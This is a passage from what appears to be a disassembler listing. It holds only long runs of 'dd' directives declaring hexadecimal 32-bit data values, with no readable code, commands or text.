7F0827F0h dd 2D80C6Ch, 3BC43B05h, 9B072A42h, 5865AEF5h, 0D35ECC78h dd 0C0E338FDh, 0AEDB161Dh, 83C903h, 0CE8D9ACDh, 0BEC46E5Ch dd 8639B203h, 0AB23950Eh, 49B134A4h, 21EC3A6Ah, 0DA560643h dd 0D40E01D5h, 0D6EF1820h, 94A7A9Bh, 120B9CB6h, 7DED7BA6h dd 4F100BC3h, 926E6EE5h, 1645D563h, 6A2D712Bh, 5220FC8h dd 0F6C5BC75h, 0B5B3B7F4h, 0E8213244h, 81840F55h, 4EEC283Dh dd 0EA27105Fh, 85765A37h, 0BEBC357Eh, 0B4904190h, 64028D8Fh dd 0AB58C160h, 7DF549D4h, 2F08628Fh, 88CA7BEBh, 0B682A5C2h dd 0EA00FDCBh, 0B2CB1EAh, 0A1490AEBh, 0BFACE00Fh, 201242D9h dd 8098BF18h, 608B49Ch, 0D464E1EAh, 0C395BEA5h, 0DB5283A2h dd 0BC695B49h, 67FD7056h, 1EBB81A9h, 0BA628079h, 4F4008ABh dd 160354D4h, 90F8295Eh, 1F1302DFh, 77400A00h, 3B818818h dd 3236A219h, 14EDAE11h, 9D8C4633h, 41FF9DF2h, 4B5881E3h dd 0D2D3B6FFh, 0A1093DB3h, 0DEE85B91h, 4DE2E5F1h, 6730B2C6h dd 5CF787ACh, 1EF10D36h, 2F0BB7A1h, 6912DB2Fh, 0C191D7F6h dd 0B47E6B20h, 340E1BE2h, 3D6A6664h, 0C1F26DC8h, 996F5376h dd 0EAAC00D1h, 0A8680596h, 541FE145h, 652A7F5Bh, 8F03A2DFh dd 0AD5D05C2h, 3CAD271Bh, 1E3AD6B3h, 0DD83E734h, 0ED97BE9Eh dd 3356AFC6h, 41A359F8h, 0A877C3DFh, 781FABB2h, 0E13C082h dd 69638290h, 55DB3F75h, 7AF28AFFh, 8B39785Ch, 0F830F6E8h dd 87EEFAC6h, 5510478Ch, 29EF66C1h, 22E84A88h, 0ACBB4D8Bh dd 8E7C5374h, 3A3E3DF4h, 103197DBh, 35C707FEh, 5791044Fh dd 0E3EF2947h, 5E068013h, 9E49E102h, 0E18113DEh, 946DD9E6h dd 0B8E32964h, 7D6F2F32h, 7D220B3Bh, 99C63108h, 2BCF7AD3h dd 36BA8F37h, 21D28935h, 0C4394713h, 0E7F3A148h, 0D44E47C0h dd 685F7645h, 0D4B11DC7h, 0C56D9CE8h, 0F5E510C5h, 0B1150C0Dh dd 918010E1h, 0C3D03EB4h, 928A66E5h, 6DCC37A6h, 0F5C3EA18h dd 0CCB4F960h, 96D5B883h, 30C8BE01h, 2E0BFE7Ch, 0BE38CA8Bh dd 63C3D35Fh, 2D089D58h, 4F13CE65h, 8413EDA9h, 90EA615Dh dd 0EDF3B90Bh, 2272E278h, 0D5931DB7h, 0D98975B6h, 33C25F86h dd 0CAF9D50Eh, 0FBEF0805h, 0DC2012Ch, 0ABE7B48Dh, 0DC150998h dd 0BF37CA4h, 59295B58h, 72946E6Dh, 20DFD436h, 0D2763BC4h dd 6839C4F8h, 0FDD1B55Bh, 70BB3359h, 4E64251Fh, 0E8B66A7h dd 0FC0F5866h, 694D6982h, 8017FAD4h, 0B30027h, 7CB170D3h dd 0D8911699h, 90930277h, 51600736h, 0C60C9930h, 12983CD2h dd 0B54291DBh, 0F0305BFCh, 0D444FA4Eh, 23D0F2B0h, 3795C455h dd 6CB2589Ch, 716A5EB2h, 97B3F4BAh, 3084830Eh, 5975DF45h dd 49290CFCh, 0FE16D87h, 0AE8E9272h, 23190AEh, 0D8538656h dd 0A766E0B5h, 728A7E7Bh, 0E629765Fh, 0BA6A21CDh, 4F31B5F1h dd 70B18540h, 0FBD5FFE0h, 0DDDEE5AAh, 7DC28D56h, 84C2A553h dd 1147B64Dh, 679B2D97h, 7C489BBCh, 54E491C3h, 2169BD8Eh dd 0E52B79C6h, 285A2CD6h, 5C3D91ABh, 36BAD607h, 166444CBh dd 15770A66h, 0BE93F9A2h, 3279564Ah, 0D817562Dh, 0EE0724DBh dd 4B7D3445h, 43A58651h, 2F8C5C58h, 69162DE1h, 0BE5FF860h dd 7F793F9Bh, 0ADE056C5h, 1827A2E7h, 15EBC22Eh, 20C3CC48h dd 0C84C9AE4h, 345C58EDh, 0A558BC62h, 0D73DFE81h, 0DD8E754Ch dd 438EC404h, 8CD5F689h, 0A0C3F78h, 4B693C65h, 0F86BD31Bh dd 0FF7DBB15h, 0EFFDE3D1h, 95443767h, 69EC2E8Bh, 627FD438h dd 2E9F3D79h, 425B4694h, 7A43F9C4h, 0D527A28Fh, 5019A893h dd 0E4CCDB1Eh, 0C08A0A3h, 9DD95D61h, 0A12C25AEh, 535688BEh dd 0D1975CF8h, 0F3A927E4h, 88880397h, 2054A864h, 26F94553h dd 224A5D1Fh, 11C6A5AAh, 58BB8F47h, 9A4270FBh, 0F115DB43h dd 3D53C35Ah, 85A2DFD7h, 789F74DFh, 4D110AFEh, 67F62939h dd 1539C1D3h, 0D046A013h, 5A7CFB1Ch, 107D22E4h, 0AA07D357h dd 5AADF38Bh, 0A4DB5A3Fh, 6A545658h, 6CA69E5h, 0D1ED5A2Ch dd 0B28423FEh, 74592C00h, 0ACD84EC8h, 3A124593h, 0C643D5B7h dd 6ED312C1h, 770B65A0h, 25BFE78Dh, 0B7DDC867h, 0DC11B53Eh dd 5FC23921h, 69367CDDh, 0EB5F6E31h, 8717AD3Ch, 0E795B687h dd 6013A751h, 0C8FC1ACh, 237043BEh, 0AB73E887h, 8D0C7A83h dd 474E7419h, 0AB982761h, 3CACD0B8h, 0E92F82DEh, 0D510B660h dd 0B4BF2FCEh, 0DA880640h, 0B75B023Bh, 5AFD41C2h, 255B00C8h dd 0E3742660h, 27FF7B75h, 0C1FC79AAh, 2C6476FEh, 0F83B15E4h dd 9206A1DAh, 66767CCEh, 4A98265Eh, 62150D74h, 0D396F453h dd 63C4F591h, 57E1E101h, 0CA307CD7h, 0A3ED8911h, 0FD0ED249h dd 45CF37B9h, 0E1964D24h, 0FD4FA140h, 46C7EF90h, 0DFBECC06h dd 7F1D076Eh, 0D0038C38h, 0E5D2C321h, 11588BBDh, 8D2F9E57h dd 0E922E27Dh, 880A957Fh, 609CC9B0h, 715D2531h, 8D8FD59Ah dd 0C200A5ECh, 24A73422h, 33AAC228h, 153E2E36h, 0B6DE3FB0h dd 73D53B11h, 3E07018h, 4B75EB96h, 0D66AC6C5h, 816E80CFh dd 4C70D0ABh, 0D61CF344h, 89430DA8h, 293EB556h, 75AA223h dd 0F926C9D3h, 0E6467E62h, 8D8376D3h, 9C335436h, 0E2B859BDh dd 6E80C3EFh, 0C32D7357h, 3EA79F3h, 4059E42Dh, 9C4C923Ch dd 3145B281h, 0E7338F92h, 47B42E07h, 21A7ADC9h, 0F8F3B7D3h dd 0D606EB76h, 32E0A61Eh, 0B83EC218h, 80741AF0h, 791E1E77h dd 0EB46A843h, 5BFE1F3h, 980AC71Dh, 7A2EEDBEh, 0B6D6C96Bh dd 2365387Eh, 0B6D79326h, 0DA159836h, 0C8A94376h, 708E174Dh dd 0F14460F8h, 13BAFA68h, 9782AD78h, 0C55F1E3Dh, 0EC33FA63h dd 0EE932F34h, 66429BD7h, 0EF1491E1h, 0A0DCED5Ah, 0BF642A7Eh dd 34FA8515h, 34F8D49Bh, 0AF58D9DEh, 7083DFDFh, 93B71511h dd 2D518798h, 5FCC01BDh, 8EA35934h, 2A26B4h, 54E9483Bh dd 7633EAB4h, 0DB7F637Bh, 332BA167h, 8286C5F8h, 423F75CBh dd 81F51A46h, 3AAEEB30h, 0FB70EA5Bh, 0EF4BDAEEh, 0AB70CB55h dd 0A4244C32h, 0C0C664DCh, 0BD8A7EF9h, 0EF2BDE4Ch, 0F64D353Eh dd 0F5526839h, 0D370981Ch, 8B050306h, 34F14252h, 0E26C4DEh dd 2CAF44CCh, 455B5C80h, 793F1471h, 0CF94AF7Dh, 0BBC5DFB1h dd 7849E76Ch, 13C70A7Eh, 9E58D8F0h, 4F180257h, 0AEDFBD02h dd 0DADE8F70h, 68C0A0E8h, 0F74D543Ch, 193AFB3Ch, 0E1CC5E33h dd 956F29FDh, 777455AEh, 11C7779Ah, 7334E599h, 0D3230CFDh dd 0E5312B17h, 1BA392B9h, 9A17D7F4h, 0DC6DB708h, 0DEF177A7h dd 0E69982D0h, 247567B4h, 606A89BCh, 682E6937h, 0CE7EE6E1h dd 0D37CC985h, 0E4C73364h, 2BA441C0h, 889D93A4h, 0FA57E12h dd 4D2E0124h, 0F97D5E04h, 8B4CAFE9h, 4FC36AF6h, 0F4907EECh dd 0D32BB040h, 36BEDE95h, 895BD9A4h, 0A3571F5Bh, 6C69FBCEh dd 5CCEFF5Ah, 248BF01Fh dd 0CDBBCD07h, 63260FD7h, 97726EB8h, 0A122033Dh, 83AA78DCh dd 9FF2F2D5h, 0F9F7715Dh, 58173832h, 72F51B43h, 0E68E7617h dd 579F158Eh, 34DEB9F0h, 0B29CE379h, 0AA17A83Eh, 0ECF12AF1h dd 0BFA0B01Bh, 57079AFh, 54BFF7CAh, 5870EB5Ch, 77D41B8Dh dd 6DE12AD3h, 70E9AF84h, 0F970BA7Fh, 0A7585B03h, 0E9A95557h dd 0DC620BF6h, 2D7B71EAh, 30D36817h, 0BF34355Ch, 0F329DCFEh dd 0B1231B64h, 9E6AD442h, 0C5770AE8h, 7CA5C0EDh, 0C67CFC34h dd 33DDE814h, 0FA6D4430h, 0E4821796h, 0F5EBFC2h, 8DB7E86Bh dd 24AC64F5h, 0F945136Ch, 594B934Fh, 0F009C4D6h, 5FA129A8h dd 0F1B8950Eh, 0F3B756E7h, 0EBD703B1h, 0F294B78Fh, 0F471E9A4h dd 771AEB46h, 0DB2F50C1h, 0DA15D221h, 0F7FCD46h, 7D1AD37Dh dd 990470AAh, 0D794DD77h, 5B4995A6h, 0E8202698h, 1995E3BEh dd 3FDE9176h, 846EF578h, 0D4EE0687h, 4082AB17h, 57886A82h dd 0B1E489ACh, 99690EEDh, 0DCE1EB3h, 0B2C2ECB5h, 47448CDAh dd 0D940F38Dh, 8288716h, 0B687A0A3h, 0C7CC43BCh, 0BEBF7D2Bh dd 8AEAB463h, 0BF5B1374h, 0BCFAEB04h, 96D2771h, 0DF3A5CFBh dd 44E48447h, 0DEE06FB0h, 7AC41EABh, 6DD1222Bh, 23B6DFCAh dd 0E8C03644h, 0E39263B5h, 8EAF0EBBh, 40CF6CD1h, 59F383D7h dd 7F6F7B69h, 78A1E4Bh, 9C622715h, 61C91827h, 4B38A35Eh dd 0F26FA12Ah, 4C91CD0Ch, 0C1E9EFA3h, 14246CEAh, 0B58EF01Bh dd 3C9A5A1Fh, 0FAD2094Ah, 0DF907A3Fh, 13D815C1h, 0CA73C2E4h dd 11C324DBh, 6E592C61h, 3B45EAEEh, 0D512EBF3h, 87036042h dd 0AB300294h, 7BA00287h, 41F0D6A4h, 967A117Bh, 2E64B3F6h dd 969F623Ch, 0B922376Eh, 946DDEA2h, 547D3B83h, 0EF7C2991h dd 0AB2FCBC4h, 0E94E9899h, 7F753CBEh, 0A308FD0h, 0D834088Fh dd 0A88EB12Bh, 0DFE602EAh, 14D7BA41h, 0A12C358Bh, 84EF7D13h dd 47388C58h, 0E5D15552h, 5F4FFC91h, 43731F01h, 6C329554h dd 537511F3h, 122B58D4h, 5B80362Dh, 6DC6E460h, 11A799D6h dd 6B060270h, 8E377FE3h, 5091BCh, 261AC121h, 0E8929BFCh dd 0F1645200h, 849DC05Fh, 6540D25Ch, 7C0CDAFBh, 979DD038h dd 0A33371AFh, 137120BAh, 0D1D38BAh, 0D55D4802h, 0C43B7B89h dd 6A1CA3A4h, 4F2D38Ch, 0A136BDC1h, 0A96053D7h, 41C2FDBCh dd 49099C6Fh, 0D962C3F4h, 0F76C650Ah, 9382DA5Ah, 0DDCE3AE3h dd 0A9E218ABh, 0B9B33E32h, 0BEFABF09h, 0CF5E32B2h, 2545B39Ch dd 55AC8Dh, 0C48C71A5h, 124C8C6Dh, 0A668B827h, 0E557C1C1h dd 430B1949h, 6E4FDABDh, 944562F4h, 72371A4Dh, 12CAA100h dd 4AEB4B37h, 0C4D03D5Ah, 0EAB08AB6h, 1E15F502h, 962623E5h dd 0A0A97FB8h, 0BE42986Ah, 0D2A21CC7h, 0BB760C47h, 3F3FC186h dd 9552A1F3h, 0AC3131B8h, 0B3FDAC62h, 0DA06AB68h, 83EDAB6Ch dd 0C8B13FA5h, 57299D9Ch, 968DA90h, 0A3D21B7Eh, 71954A45h dd 6D87D3AAh, 93817DDCh, 0FA5FF22Ch, 0A3CB7344h, 55BE8FC5h dd 0AE54D51Eh, 17998D8Bh, 0FBCAA931h, 0DB5B6927h, 44B4AE0Bh dd 0C8BFBDF1h, 0EE1BB170h, 8EE91F4Bh, 1CD5E25Ah, 6ED0F643h dd 88082D04h, 0A3929ECh, 2AA5CCCDh, 38362C2Eh, 32876292h dd 0CBD43AE5h, 659775E0h, 5C5D0515h, 0A78F024Ch, 55356E33h dd 0DA8E674Ah, 0AF7E0DD7h, 1B0FF160h, 0C6CB7B6Ch, 0A606E7FDh dd 0B1033E74h, 479E7083h, 627AAFDAh, 0DC56EBAh, 1EB6254Ch dd 62392288h, 359A1A37h, 0B4CD4263h, 62C07726h, 475D092Ah dd 94D55B69h, 0CD9DBED1h, 0D7397964h, 276C144Fh, 17E6374Ah dd 0CFE95DB8h, 0E5AB64A7h, 0ABDB08C5h, 3E43553Dh, 4BEA5C5Bh dd 95957BEh, 0F6D6572Ch, 744F6F97h, 5D1D16E8h, 0F3BE0CBBh dd 0F471F976h, 8EDAFCBBh, 0A81FA344h, 0C7F57FBFh, 0B8CE9CDh dd 0F2CFBCEh, 0EA979797h, 0CA384041h, 3EAA409Bh, 0CBE1AF55h dd 40C05E11h, 0ADDD57AAh, 0D4DEA10Eh, 0DC19277Dh, 3A6DB10Dh dd 51AA7C41h, 36ED7141h, 397F6A24h, 6EAB9CD9h, 391053Ch dd 0B25C1873h, 3540AF8Ch, 151636CCh, 0D08FFEF3h, 1E4CF813h dd 4D14FB7Fh, 78D92553h, 0CCC30E21h, 0CD85422Fh, 4922D056h dd 87A2F49Ah, 0F5170493h, 0BFA61852h, 82BF895Fh, 8B7E9BC5h dd 236CE164h, 0E69A2BFBh, 0EF3D5400h, 1F743BF9h, 0C03B6954h dd 0CD449285h, 29DE7FDFh, 0CC829D0Bh, 0B34B71FDh, 2CFDFF3Ah dd 4256B4F3h, 6461918Eh, 7675D6C1h, 4A4F6FB3h, 0A7D19924h dd 0DEAEF3h, 0B6041E08h, 0FC4A9ACEh, 5A8B6640h, 0DEBAA4B5h dd 9189E4BEh, 80FF411Ah, 0BE09674h, 8150E398h, 0E8137A8Fh dd 0CB23DCB5h, 3943ED96h, 0C5FAB2BAh, 6D4138C9h, 0EA7F847h dd 8A461B47h, 8BE47B0h, 599E2928h, 0F42913E1h, 6260BC52h dd 0BACCDAB3h, 1E52623Dh, 2D11CC8Ah, 8CA968AEh, 0C46CF663h dd 0A400ED1Ch, 1BE8A52Ah, 603FDFA7h, 9C6D9F94h, 167C563Ch dd 0B5C642EFh, 83AD80B7h, 0F8A1E73Fh, 58DA5308h, 0E3040115h dd 0FD2AFEC1h, 0EFCFE6FFh, 9D22DAC0h, 0B4BF37E6h, 81B6CDD9h dd 5EFED3EDh, 0B92ED44Ah, 7A7EA3C9h, 6A2C68B5h, 0AAAC92Dh dd 9CEAD802h, 0A4AB877Dh, 0F8D618C5h, 7D9C577Dh, 0AA47D80Fh dd 0D726C4DFh, 316DBAB1h, 85F37B37h, 58D01B8Ah, 6F777B2Fh dd 3C1555D2h, 5C6D8EFCh, 0FA42A82h, 0E8DC0F16h, 0C680A8E1h dd 379FDB6h, 4AF3C35Fh, 0F2D56214h, 0A042CE4Dh, 0BA1CB952h dd 65A827B1h, 7C43AFA1h, 2709533Ah, 0DC54A6CFh, 0B9F005D3h dd 0F97BBB25h, 0C9620929h, 0AE64AC1Ch, 0D966DDDFh, 32BC423Bh dd 61E1ECFFh, 0F5A4041h, 0D6DBBE3Fh, 0BE32212Bh, 5AC7AC7Eh dd 60EA6E0Eh, 46217B55h, 4EEB5E27h, 573A5952h, 0E2B4033Ah dd 0ADAD0050h, 0AE1D5E1Eh, 88F9421Fh, 0BF35463Bh, 0A367196Dh dd 0CCBD9197h, 2E574130h, 82BA29B6h, 9B1E1587h, 0D184D03Bh dd 0CDFBA8AAh, 30573E0Dh, 0BCD99A8Bh, 326E291Bh, 5DC40C57h dd 621518B3h, 3E771031h, 0E8A13B27h, 3BD01A69h, 1B4E35A2h dd 0EC602E81h, 844F2936h, 2074685Fh, 54E40B9Ah, 838B4B02h dd 20DC8F2h, 5393BB67h, 0A3EF5F64h, 53F18A8h, 0A786D568h dd 9A20FB4Dh, 0DA3A3DB4h, 565E2825h, 59C6313h, 0A75AEB20h dd 0B5F746DEh, 351FC4F7h, 4889D0F1h, 5C5301C6h, 6CE09D48h dd 0BDB06961h, 0A3F2B11Bh, 1BD721D2h, 41370DE5h, 530068CFh dd 84B8ABAh, 1DBACE88h, 0E4E28626h, 0AEB681C2h, 0CE88F677h dd 0C9D11967h, 183518C6h, 7A1EEDDEh, 0E13B6AFDh, 0B0BE50AAh dd 0AEA28231h, 447890A1h, 7D100DEEh, 506000D7h, 0D7E7E14h dd 688E4781h, 533A63FEh, 0B55FBE0Eh, 39713823h, 16072A71h dd 69A72774h, 97522ACCh, 0D46C8645h, 4EF39C4h, 0DEB34F20h dd 75CDB4D0h, 0B0FC3452h, 0C754E3h, 0FCBAB199h, 0A7DB25B7h dd 0CE6F0C2Ch, 0B4988D32h, 3EE80BF7h, 3BC4B343h, 27BF4AFAh dd 88E7D08Ah, 1602C60Eh, 5E80A488h, 65E42460h, 6626CCE7h dd 4D49AFE1h, 4165854Fh, 2052D476h, 55034C8Eh, 0F1918097h dd 160CB7D9h, 0E5013FC1h, 144B9CA4h, 0A431AA61h, 0D65CB158h dd 3CE8381h, 3BCBE787h, 0B90B8965h, 0FC861888h, 33CE9544h dd 0C6A73097h, 664303CDh, 3D137F23h, 0DB2840F7h, 0F306F6C8h dd 0D31F6A3Bh, 91A4959Ch, 0F4781758h, 0DE3C3434h, 876B395Dh dd 606AE771h, 0D7471800h, 2FF961FBh, 34E0B1C8h, 0CD5D0618h dd 33A4A7DDh, 7A9D13D3h, 31A1D98Dh, 0D7950489h, 80791497h dd 0B60DCF5Dh, 0A85B1A27h dd 1EE9633Ah, 8731EA74h, 0E9552779h, 4951CD5Bh, 0D709287Fh dd 5512AA44h, 38579B36h, 4B8C57C4h, 0A3B6B8D8h, 69DA1F26h dd 7A02048Ah, 0B5923A4Bh, 82EF1DFBh, 97BD4A87h, 4E44A636h dd 40C2C75Eh, 0D1D6B2A1h, 13E06B62h, 0F5CD36D1h, 0F29950D8h dd 0E14952ACh, 3BFF5B0Ch, 480F3B90h, 90E2FA89h, 8A5095E9h dd 0D77D80F5h, 0A833BED4h, 93291225h, 7701D459h, 8D428960h dd 3C6051D9h, 0B9E362h, 596CF538h, 8C747233h, 8511BCB0h dd 65C35F83h, 9FF7A9E3h, 1883348Dh, 245154F2h, 935C099Eh dd 689955ADh, 35318619h, 99D48FAAh, 66437198h, 8A1D3B60h dd 0EC6DC5F8h, 0DE200D7Ah, 40027F44h, 8C9EB97Bh, 0D9CCDBA7h dd 403308E7h, 0C0B37718h, 0D0F6E6A3h, 6808940Eh, 42B60B54h dd 3483CC4Dh, 0AE1222C6h, 0E9B8E26Eh, 6C4946F5h, 0F04EA972h dd 397D2828h, 1924E0B5h, 0EC680AACh, 30951009h, 0AC6C5E9Eh dd 0D543A0EEh, 0E1DD835h, 5A9F1D53h, 63E9803Ch, 49490DECh dd 0CDC3BE99h, 0DF1121B0h, 84340674h, 3F1F110Dh, 0D843E3ECh dd 0AED53E48h, 900F4CBAh, 0AEEC330Ah, 11A37F1Eh, 80B7C156h dd 4F5742B9h, 0B5761412h, 9348FB7Ah, 81696A12h, 2D0AAB53h dd 740D83A5h, 2EA187FEh, 0BC4DC9B4h, 66260D14h, 91CA0239h dd 3189E643h, 92EE01E5h, 0C993C68Ah, 7710E7A8h, 38188366h dd 0C8C46C2Ch, 99307CD9h, 7542CC6Ah, 0D6A236B4h, 8C5C150Fh dd 0D68176ABh, 1438D6E9h, 0ED1C4A3Eh, 0FCE8108Fh, 0E942BF3Ah dd 3C2FBE2Ch, 97023EC6h, 0D110E9F9h, 426FA476h, 0BB487CDDh dd 6B56BFBDh, 1433AAAEh, 0E481B25Ah, 0EADCD861h, 3AFC64E2h dd 7FC9C8A4h, 25A162E2h, 0DA6A4932h, 0DA04EFCDh, 3FB70A99h dd 4321FBECh, 340FEC53h, 49AC7A09h, 0ECB02E47h, 2DB5991Ah dd 9201F253h, 66104274h, 34072AF7h, 3A7460C7h, 0BB70D31Bh dd 0FC3C8B6Ah, 920A1FD5h, 34045352h, 88A49B16h, 4012F556h dd 849DDC7Dh, 0E37FAD50h, 9FF4F7BEh, 4546141Eh, 0B749B945h dd 0D487588Dh, 3753DAC1h, 0B0F613E3h, 0AD976CBDh, 0EFA724EEh dd 0A3AC5064h, 6B7C4197h, 9A111C4Fh, 0F5FAB712h, 432A558Ch dd 0FFCDF59Ch, 8C5027C5h, 0F681AF99h, 1B2FE56Fh, 9F157F16h dd 9CF1BF5Ch, 2278E667h, 5BA97E13h, 7F723EDCh, 46C7D2B5h dd 0AF244A33h, 0BC52E602h, 4D566E30h, 0F6ADC8A6h, 9D0E8C3Dh dd 31F12119h, 0B7252837h, 0D9B94D14h, 5FEF4A81h, 0C2CAABA9h dd 0C96AD925h, 0B2805D35h, 0B192083Dh, 75427099h, 4750FC35h dd 0DBD720C6h, 1EEDB279h, 18714A43h, 2B93D47Bh, 86A243FDh dd 4757B993h, 72D4D605h, 5FC1A1BFh, 0E3C73E51h, 2822D798h dd 14FACDDDh, 70E1BB16h, 39AE7A42h, 29CBBD00h, 7F2DC31Ch dd 0CC9E9194h, 0D2E3D7F7h, 0A4AFD6F2h, 1107154Ch, 0CFF6DC95h dd 7AED6C94h, 0BBADC561h, 0DD7E7FFDh, 115AE820h, 91CD4616h dd 6CC9CDD2h, 0CBEB732Bh, 0E344CD12h, 0AAC0839Ah, 0C7A797F0h dd 56023207h, 0E782B6A0h, 0FCBCABB5h, 15D184B6h, 0AD268098h dd 372EA89Eh, 0F4ED8F2Ah, 8CFC0A2Dh, 0B563FE21h, 0F5E85BA9h dd 5FE284Dh, 8147579h, 4B7A65D5h, 0D80F8234h, 7749E716h dd 0D03347F3h, 62E732D0h, 0F1F86DD8h, 0DB279831h, 0EFFC4412h dd 82E05273h, 2EFABB6Ch, 8D28F7AFh, 0B3187C67h, 8F81AA9Eh dd 62F8D247h, 1861103Dh, 1B763B45h, 0C2E59F44h, 0BD6EBEB7h dd 99106B64h, 0E98F0FD3h, 0A21F9B7Ah, 0A79CE825h, 323B7263h dd 0B796843Fh, 0F11BFE39h, 33C14E1Ch, 0A0E8800Ch, 0AED3225Eh dd 0B7EC009Eh, 0F3E79D01h, 2C37DDFBh, 11E18ECFh, 9F0083BAh dd 0AD2CB219h, 0CB36EB2Dh, 7D8556BEh, 72027375h, 931E1D37h dd 7F7FC6AEh, 83A96A04h, 0D22B08AFh, 907057C1h, 2E099EE2h dd 0F2EBCB14h, 0DC8026B0h, 711F8CDCh, 5FEB85C9h, 0D71B59F1h dd 41024E75h, 6AE81525h, 0A33673A8h, 4C5E6823h, 3686998Fh dd 1F6CA1A8h, 152647EEh, 7CC3964Fh, 229D8863h, 7C54418Fh dd 165902DCh, 6EF78125h, 5CCCC680h, 172EBEDCh, 1DBA519Dh dd 0AED281FFh, 719E26A3h, 0B8A89D4h, 2FCB74Eh, 90B552EBh dd 59110D3Ch, 3128233Dh, 0D505A641h, 0A475962Fh, 463B1AE5h dd 0F142B7FFh, 0B5C248DFh, 53F99386h, 321BC720h, 1D3F3D08h dd 0FC8FB270h, 8B799602h, 391D5690h, 2F652EBAh, 5C5471B9h dd 0E5571664h, 3D3163B1h, 0D28A04ACh, 4171E92Bh, 694D1B7Ch dd 0D6019CFh, 0C5DA5906h, 0D513281Eh, 54857D1Ch, 6D4B6A15h dd 1642D8C0h, 1B1A49F7h, 27E9C379h, 0E567783Ch, 94632BC4h dd 6B06CDF1h, 8A6E1288h, 9120B66Eh, 0C3351EF5h, 17D5F805h dd 3201743Dh, 0DB841FD4h, 0D3C6281Fh, 0FF83E71Bh, 0C2323E39h dd 5F855AF1h, 0E6B9E759h, 29B30CE0h, 9ECF8201h, 978E63C2h dd 623A89F0h, 2E2997A6h, 58D744EDh, 0A70DAA3Dh, 913A2BA6h dd 373AE224h, 0A8BC3CF7h, 0DC865B02h, 0C61B0915h, 134DC8ABh dd 85ED26Bh, 0C53D33EEh, 6169064Ch, 613420FCh, 728030F6h dd 3D8256C1h, 6E875899h, 0D4EF6C14h, 0CF9EB792h, 50D3C8AAh dd 3E76322Ch, 3FA86949h, 1BB88F28h, 15C9373Ah, 52BF2104h dd 0D423C3F1h, 0AC53B2D6h, 743527D1h, 793A03CDh, 3AED2B41h dd 7F23BF77h, 0D3CEE541h, 10145E68h, 0F0EE79AAh, 0B491655Fh dd 9C79E69Eh, 0C1C3CC5Dh, 21E50E2Ah, 5BE5EFD7h, 80124C86h dd 635A2898h, 8B4FA12h, 0C07E5D09h, 346975E7h, 377E58Dh dd 0B8934D2Dh, 5E76D1B3h, 4FFB684Dh, 0A32E79FDh, 92006BC4h dd 8F7C34F5h, 0B0DAF181h, 40DF9F6Dh, 13D09879h, 0F08D7737h dd 12F8A1BBh, 636C8967h, 9C4C37B5h, 0B2EB31AAh, 0A9B8448Ch dd 37B65571h, 3B57A8F1h, 6EFB7A31h, 3F036C29h, 0B703B9A5h dd 32341560h, 0F7348Bh, 5C45C1CDh, 0D3B81A8Dh, 68088295h dd 3A3B2DE4h, 30991E8Eh, 7DCF7D32h, 0A6C9DCBEh, 0CE8212EEh dd 7C2643h, 0CB336F0Ch, 0D9084550h, 0C2F95727h, 0F263D37Fh dd 0BF3C7E5Ah, 0F43B0608h, 849AFF33h, 19974D6Dh, 0C052B396h dd 0BC263DBCh, 0B8F77F16h, 168A9A16h, 926C81FAh, 8300F92Ah dd 6233E528h, 55BBBC03h, 55CAEA13h, 0E3E1E50Ch, 0D3916934h dd 148AD836h, 2F4946C5h, 8C65F8D9h, 0D29AC9Dh, 0DEE46BFDh dd 97F1D659h, 1433DCB0h, 0E32F9F2Eh, 1420D2h, 0AEB6616Ah dd 6DDAFA41h, 1A06607Bh, 4FB2862Bh, 0C9615C82h, 53840DC2h dd 7826FFF6h, 0B373C66h, 90E4A3ECh, 0E0ED841Eh, 87DB2527h dd 1C210220h, 32DCB7CBh, 0A30C207Bh, 99C5236Fh, 7278E5D1h dd 25D19A02h, 0F07FA034h, 9D9D9B85h, 29F6F2BAh, 4D2F13AAh dd 31E76419h, 1A8BD898h, 1046A315h, 68102C24h, 7A993E74h dd 0F00B18C3h, 3DD38A04h, 3CC671DBh, 5E0DBCE7h, 33BBC025h dd 0F99A7315h, 0A1BB98DDh, 0E456784Dh, 986D186h, 42CAE20Fh dd 65F84C19h, 98201C99h, 0F5E57101h, 90094453h, 4F1DFAD6h dd 5B51FF17h, 0C01B4549h, 1D1A5F7h, 0A06BAB0Dh, 57D41447h dd 0FEC33AF3h, 1E3E8C74h, 110CF930h, 42B0D466h, 0F84B2123h dd 0EF7A501Bh, 656B2B3h, 8CC16ACEh, 0CFE48709h, 8021DE76h dd 42E673E1h, 0F04B54E9h, 0C4981806h, 0CF89C145h, 0D44EE621h dd 26E33647h, 0BB48F9E8h, 81D37C13h, 0AE51DEBDh, 0C4566DF1h dd 4EF15907h, 5974EF5Ch, 756AF86h, 9095C681h, 0BD73E13Eh dd 0E8C9A238h, 0EC6DA0F1h, 0B35B5FAEh, 0BB816DAAh, 752E20B8h dd 0B2E965A6h, 234ECD3h dd 0EB0D2608h, 5582895h, 6281DFB8h, 409CA64Ch, 0D8F51EDh dd 3F4B0CD8h, 0F6F235B3h, 0DB1F5631h, 9AAA4BDh, 0CD3B545Ah dd 0E4C02653h, 0C2430123h, 0EFCDFDBh, 0DC27FB9Ch, 2786BA9Ah dd 0A3F5F46Ah, 467970AEh, 0A1544533h, 1323F368h, 285AF6C8h dd 0FAC799FDh, 198AED5Fh, 2F18C536h, 0A7232FBCh, 0E90D1E6h dd 3AF26D31h, 0F9673315h, 4654CDA1h, 0BBFCAFB3h, 0A29DA522h dd 613A7019h, 31BFC4B5h, 3B732D42h, 9C742EC2h, 35365A35h dd 122D9489h, 0F229A281h, 0B50F078Dh, 0DD6D952Ch, 5D788112h dd 3FE0B67Bh, 619AB74Dh, 0A953DEE0h, 1798F82Bh, 377952F3h dd 0A2A4191Eh, 0C728FF30h, 38A4F93Bh, 7768C825h, 0FF6124Fh dd 1B53C85Eh, 0D9E0C377h, 2CB85383h, 0F3DDE5ABh, 22E2FF51h dd 2514A709h, 25000A6Bh, 181787D5h, 5F2B9F08h, 3E3D25FEh dd 445956D6h, 0D8E56A2Bh, 57D5833h, 34722059h, 0A736ECDAh dd 0A56AD728h, 73877FC5h, 398701EAh, 0CAB44AADh, 92525CF0h dd 0FF8F042Eh, 489181A7h, 78B4D529h, 0A6EFFBF6h, 3EB390Bh dd 0BD241DEFh, 0F08A140Bh, 3838704Fh, 0E30F1D06h, 7BF0857Ah dd 8E816679h, 64AD69FAh, 0DDF62C8Bh, 5936BE98h, 780D742Eh dd 105219ADh, 91364FB8h, 8DA1CC86h, 0A52D0B0h, 88C00C05h dd 0D7F0633Ch, 0EB70B995h, 302072BCh, 65689848h, 0FC8B1D0Eh dd 